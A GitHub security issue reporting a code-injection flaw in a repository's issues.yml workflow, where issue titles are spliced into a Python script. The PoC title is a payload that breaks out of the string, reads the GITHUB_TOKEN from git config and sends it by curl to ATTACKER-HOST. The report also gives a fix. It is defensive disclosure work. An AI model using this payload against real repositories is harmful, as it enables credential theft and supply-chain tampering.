Skip to content

[Security] Code injection via unsanitized issue title/body enables GITHUB_TOKEN theft in issues.yml (CWE-78) #35012

Open

Description

@sunplacesolutions

Summary

.github/workflows/issues.yml interpolates ${{ github.event.issue.title }}
and ${{ github.event.issue.body }} directly inside a Python script
(shell: python) using triple-quoted string literals, without escaping.
An attacker can open a public issue with a crafted title/body containing
""" to break out of the string literal and inject arbitrary Python
(hence arbitrary shell/OS commands) into the workflow run.

Affected code

- name: Checkout
  uses: actions/checkout@main
...
- name: Check Issues
  shell: python
  run: |
    issuetitle = """${{ github.event.issue.title }}"""
    issuebody = """${{ github.event.issue.body }}"""

Impact

actions/checkout@main runs earlier in the same job with its default
persist-credentials: true, which writes the job's GITHUB_TOKEN into
the local git config (http.<url>.extraheader) of the checked-out repo.
Injected code in the "Check Issues" step can read that token directly
from the filesystem (e.g. git config --get-all http.https://github.com/.extraheader)
with no additional secret required. The same workflow file uses
secrets.GITHUB_TOKEN explicitly elsewhere (release/commit steps),
indicating it has write permissions in this repository — meaning a stolen
token could be used to push to the repo (this is a boot-loader project
for Synology NAS devices with 8.4k+ stars; unauthorized pushes would be a
real supply-chain risk for its users).

Scope caveat: this workflow declares no explicit permissions:
block, so the exact scope of GITHUB_TOKEN depends on the repository's
default "Workflow permissions" setting, which isn't visible without
admin access.

Severity confirmation: the "Init Env" step (which runs
before the injection point, same job) successfully executes
sudo timedatectl set-timezone with no password prompt — confirming
passwordless sudo is available to the runner user from the very start
of the job.

PoC

Open an issue with title:

""" ; import subprocess; subprocess.run(["bash","-c","git config --get-all http.https://github.com/.extraheader | cut -d' ' -f3 | base64 -w0 > /tmp/t; curl -s https://ATTACKER-HOST/$(cat /tmp/t)"]); x = """

Fix

Pass github.event.issue.title/body through env: and read them as
Python's os.environ, instead of splicing into the script text. Also
consider persist-credentials: false on the checkout step if the job
doesn't need to push, and add an explicit least-privilege permissions:
block to the workflow.

Reported by

Juan Lucas Armendares — Sunplace Solutions

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions